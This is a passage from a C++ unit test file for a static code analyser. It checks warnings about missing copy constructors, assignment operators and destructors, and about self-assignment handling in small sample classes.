checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 